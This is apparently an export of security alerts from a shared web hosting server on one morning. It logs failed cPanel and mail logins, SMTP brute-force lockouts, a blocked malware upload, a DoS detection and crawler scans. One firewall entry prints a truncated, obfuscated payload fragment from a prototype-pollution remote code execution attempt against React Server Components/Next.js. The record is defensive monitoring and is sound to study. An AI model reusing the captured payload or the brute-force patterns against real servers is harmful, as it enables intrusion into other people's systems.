plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 223.206.227.176
country_id: 1605651
description:
[2026-06-25 07:56:43 +0000] info [cpaneld] 223.206.227.176 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.98.34.160
country_id: 2542007
description:
[2026-06-25 07:57:11 +0000] info [cpaneld] 102.98.34.160 - relan "GET /login/?login_only=1&user=relan&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relan (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.7.16.68
country_id: 3996063
description:
[2026-06-25 07:57:00 +0000] info [cpaneld] 38.7.16.68 - relancei "GET /login/?login_only=1&user=relancei&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relancei (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.87
country_id: 130758
description:
Jun 25 07:56:40 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.87 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.66.152.212
country_id: 953987
description:
[2026-06-25 07:57:06 +0000] info [cpaneld] 102.66.152.212 - relance "GET /login/?login_only=1&user=relance&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relance (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.172.251.234
country_id: 3895114
description:
[2026-06-25 07:56:47 +0000] info [cpaneld] 181.172.251.234 - relanceinfo "GET /login/?login_only=1&user=relanceinfo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relanceinfo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.251.68.150
country_id: 3469034
description:
[2026-06-25 07:57:21 +0000] info [cpaneld] 186.251.68.150 - re "GET /login/?login_only=1&user=re&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user re (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.106.48.56
country_id: 2017370
description:
[2026-06-25 07:58:44 +0000] info [cpaneld] 95.106.48.56 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 115.135.24.27
country_id: 1733045
description:
[2026-06-25 07:58:21 +0000] info [cpaneld] 115.135.24.27 - togomedia24 "GET /login/?login_only=1&user=togomedia24&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomedia24 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.60.67.88
country_id: 3895114
description:
[2026-06-25 07:58:40 +0000] info [cpaneld] 179.60.67.88 - togom "GET /login/?login_only=1&user=togom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.30.74.134
country_id: 3865483
description:
[2026-06-25 07:58:37 +0000] info [cpaneld] 190.30.74.134 - togome "GET /login/?login_only=1&user=togome&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togome (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.198.239.176
country_id: 2017370
description:
[2026-06-25 07:58:34 +0000] info [cpaneld] 109.198.239.176 - togomed "GET /login/?login_only=1&user=togomed&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomed (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 87.201.176.227
country_id: 290557
description:
[2026-06-25 07:58:54 +0000] info [cpaneld] 87.201.176.227 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.120.231.93
country_id: 1527747
description:
[2026-06-25 07:58:25 +0000] info [cpaneld] 146.120.231.93 - togomedia24tg "GET /login/?login_only=1&user=togomedia24tg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomedia24tg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.116.140.141
country_id: 2017370
description:
[2026-06-25 08:00:25 +0000] info [cpaneld] 176.116.140.141 - lasnb "GET /login/?login_only=1&user=lasnb&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lasnb (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.47.201
country_id: 1733045
description:
[2026-06-25 08:00:35 +0000] info [cpaneld] 180.75.47.201 - lasn "GET /login/?login_only=1&user=lasn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lasn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.158.228.46
country_id: 3865483
description:
[2026-06-25 08:00:39 +0000] info [cpaneld] 186.158.228.46 - las "GET /login/?login_only=1&user=las&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user las (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.87
country_id: 130758
description:
Jun 25 08:01:10 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.87 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.120.73.227
country_id: 3469034
description:
[2026-06-25 08:00:22 +0000] info [cpaneld] 189.120.73.227 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.88.216
country_id: 3865483
description:
Jun 25 08:03:14 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.88.216 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.88.216
country_id: 3865483
description:
Jun 25 08:03:21 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.88.216 has been locked due to Imunify RBL


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 84.21.190.140
country_id: 2635167
domain: davakconsulting.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:215540||Sizes:815||Combined size:815||User:mvfxewjz||WPU:||Filename:icouktdqd.zip||Scanned:/tmp//20260625-080920-ajziMNUPdekLq_yi6i72JAAAAGE-file-GdnHDb||SC:/home/mvfxewjz/public_html/index.php||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 41.79.219.64
country_id: 2395170
description:
41.79.219.64 - - [25/Jun/2026:08:10:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973031&pdata=https%253A%252F%252Fdagl.tg%252Faccueil%252F7-marches-public%253Fhl%253Dfr-CA&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782375035 HTTP/2.0" 302 0 dagl.tg "https://dagl.tg/accueil/7-marches-public?hl=fr-CA" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Mobile Safari/537.36 EdgA/139.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:41.79.219.64


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.138.52
country_id: 690791
description:
Jun 25 08:15:47 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.138.52 has been locked due to Imunify RBL


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.114.20
country_id: 1880251
domain: africa.netmaster.tg
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.20||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.233
country_id: 2510769
description:
Jun 25 08:17:49 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.233 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.127.33.159
country_id: 3469034
description:
Jun 25 08:18:01 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.127.33.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 34.31.88.250
country_id: 6252001
domain: mail.clinique-ccl.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"__73a1d3a1\":\"\",\"data_e080095a\":\"idle\",\"__27c5aa2a\":null,\"x_70470eb9\":0.0,\"_response\":{\"_prefix\":\"var dbfk=arguments[0x1];var xbqse=dbfk;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.72.131.163
country_id: 6252001
description:
[2026-06-25 08:23:41 +0000] info [cpaneld] 38.72.131.163 - wellcity "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellcity (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 82.117.243.149
country_id: 2750405
domain: www.shekina.tensai.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:82.117.243.149||TA:82.117.243.149||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:24:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:8750: 535 Incorrect authentication data (set_id=testaccount@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:24:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:35164: 535 Incorrect authentication data (set_id=testaccount@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 08:24:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:32150: 535 Incorrect authentication data (set_id=sistem@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 08:25:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:8634: 535 Incorrect authentication data (set_id=pracownik@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:25:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:29916: 535 Incorrect authentication data (set_id=orchidee@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 08:26:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:56908: 535 Incorrect authentication data (set_id=toml@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:26:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:6102: 535 Incorrect authentication data (set_id=turbo001@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.189
country_id: 3865483
description:
Jun 25 08:27:01 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:27:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:46678: 535 Incorrect authentication data (set_id=mangas@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 08:27:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:33436: 535 Incorrect authentication data (set_id=ttt@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:27:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:4310: 535 Incorrect authentication data (set_id=mangas@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:28:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:44976: 535 Incorrect authentication data (set_id=allgemein@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 08:28:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:58324: 535 Incorrect authentication data (set_id=veranstaltungen@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:29:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:39800: 535 Incorrect authentication data (set_id=serimunt@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 08:29:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:34518: 535 Incorrect authentication data (set_id=gis@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:30:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:12078: 535 Incorrect authentication data (set_id=ltx@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 08:30:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:2928: 535 Incorrect authentication data (set_id=conter@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-25 08:30:31 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:39554: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 08:31:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:27476: 535 Incorrect authentication data (set_id=manuela@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:31:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:14612: 535 Incorrect authentication data (set_id=witness@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:31:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:29124: 535 Incorrect authentication data (set_id=awc@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-25 08:31:44 +0000] info [cpaneld] 102.54.238.57 - websitecpanel "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 08:32:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:53246: 535 Incorrect authentication data (set_id=passbolt@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:32:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:9622: 535 Incorrect authentication data (set_id=emarketing@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:33:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:50570: 535 Incorrect authentication data (set_id=brother@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 08:33:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:36572: 535 Incorrect authentication data (set_id=hiring@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 130.250.231.179
country_id: 3686110
description:
[2026-06-25 08:33:48 +0000] info [cpaneld] 130.250.231.179 - caf "GET /login/?login_only=1&user=caf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.8.244.96
country_id: 2017370
description:
[2026-06-25 08:33:35 +0000] info [cpaneld] 46.8.244.96 - cafeittg "GET /login/?login_only=1&user=cafeittg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafeittg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.136.88.142
country_id: 3469034
description:
[2026-06-25 08:33:44 +0000] info [cpaneld] 177.136.88.142 - cafe "GET /login/?login_only=1&user=cafe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 78.132.205.160
country_id: 2017370
description:
[2026-06-25 08:33:38 +0000] info [cpaneld] 78.132.205.160 - cafei "GET /login/?login_only=1&user=cafei&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafei (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:34:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:48838: 535 Incorrect authentication data (set_id=moodle-dev@ns5.netmaster.tg)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 220.188.114.6
country_id: 1814991
description:
Denial of Service (DoS) attack was discovered from 220.188.114.6: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 08:34:52 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:61062: 535 Incorrect authentication data (set_id=kav@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:35:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:24998: 535 Incorrect authentication data (set_id=stg@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:35:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:39506: 535 Incorrect authentication data (set_id=pochta@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 08:35:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:37078: 535 Incorrect authentication data (set_id=admin4@ns5.netmaster.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.114.40
country_id: 2363686
description:
[2026-06-25 08:36:57 +0000] info [webmaild] 196.170.114.40 - agou1@agou1.mairie.tg "POST /cpsess0435947789/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.168.199.63] != Current IP Address [196.170.114.40]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 08:36:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:13268: 535 Incorrect authentication data (set_id=web11@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:36:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:19842: 535 Incorrect authentication data (set_id=valery@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 25 08:38:02 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 25 08:38:08 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:37:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:18042: 535 Incorrect authentication data (set_id=adamas@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 08:37:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:46300: 535 Incorrect authentication data (set_id=amanda@123456@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 25 08:38:36 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 25 08:38:40 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:38:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:12946: 535 Incorrect authentication data (set_id=church@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 08:38:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:6198: 535 Incorrect authentication data (set_id=tachi@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:38:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:8790: 535 Incorrect authentication data (set_id=church@ns5.netmaster.tg)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.171.26.211
country_id: 2363686
domain: afriquerevelation.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.20||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:39:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:49726: 535 Incorrect authentication data (set_id=biv@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 25 08:39:35 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 209.227.239.141
country_id: 3175395
description:
209.227.239.141 - - [25/Jun/2026:08:40:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7050907&pdata=https%253A%252F%252Fwellcity.tg%252Fcontact&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782376810 HTTP/2.0" 302 0 wellcity.tg "https://wellcity.tg/contact" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.55 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:209.227.239.141


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 08:39:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:46856: 535 Incorrect authentication data (set_id=ns5@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 25 08:39:25 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-25 08:39:28 +0000] info [cpaneld] 102.54.238.57 - kwbcfbmo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kwbcfbmo (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:40:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:52200: 535 Incorrect authentication data (set_id=nbb6@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 08:40:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:8234: 535 Incorrect authentication data (set_id=body@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 25 08:40:24 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 25 08:40:27 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.221.134.65
country_id: 6290252
description:
Jun 25 08:42:19 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.221.134.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 08:41:51 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:39914: 535 Incorrect authentication data (set_id=name123@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:41:51 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:47002: 535 Incorrect authentication data (set_id=bertalan@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 25 08:41:49 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 25 08:41:49 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-25 08:42:09 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:32354: 535 Incorrect authentication data (set_id=name123@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-25 08:42:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:23214: 535 Incorrect authentication data (set_id=ram@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
